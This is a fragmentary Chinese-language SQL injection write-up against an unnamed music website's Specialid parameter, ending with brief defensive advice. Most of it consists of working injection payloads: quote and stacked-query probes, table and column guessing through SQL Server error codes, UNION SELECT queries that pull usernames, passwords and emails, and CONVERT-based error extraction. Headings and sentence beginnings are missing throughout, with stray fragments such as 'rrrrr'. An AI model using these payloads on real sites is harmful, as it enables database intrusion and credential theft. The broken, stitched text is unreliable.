某音樂網站 showspecial.asp?Specialid=1817 參數未過濾單引號與分號,觸發 SQL Server 錯誤訊息洩露資料庫型別。
Specialid=1817' → 未閉合引號錯誤,確認注入點。Specialid=1817; → 頁面正常,分號未被過濾,可堆疊查詢。Specialid=1817; USE master;-- → 多步驟 OLE DB 錯誤,無法切換資料庫 (權限不足)。利用 AND 1<>(SELECT COUNT(*) FROM [table]) 判斷表/欄位存在性:
80040e37 物件名稱無效80040e14 資料行名稱無效猜解策略:
user, users, admin, member, news, articleid, username, password, email, title, contentname 屬性 (如 <input name=username>) 推測欄位名。實測成功確認 user 表與 id, username, email 欄位存在。
rrrrr,取得 id=103534。前提:原查詢欄位數、型別需匹配。常用技巧:
ORDER BY n 判斷欄位數。UNION SELECT NULL, NULL, 'test' FROM user 確認可顯示位置。UNION SELECT username, password, email FROM user 直接竊取認證資料。利用型別轉換錯誤將資料顯示於錯誤訊息中:
Specialid=1817 AND 1=CONVERT(INT, (SELECT TOP 1 username FROM user))
-- 錯誤訊息將包含第一個 username 值
SELECT/INSERT/UPDATE/DELETE,無 sysadmin、db_owner、xp_cmdshell 權限。customErrors mode="On"),避免洩露結構資訊。Specialid 必須為整數)。UNION SELECT, --, ;, xp_ 等)。SQL Injection 根因是「資料當指令」。參數化查詢徹底區隔程式碼與資料,配合最小權限與錯誤隱藏,可將風險降至最低。猜解結構雖可行但效率極低,攻擊者更傾向自動化工具 (sqlmap 等) 配合 UNION/錯誤/盲注技術。防禦重點在源頭:寫程式時就用參數化。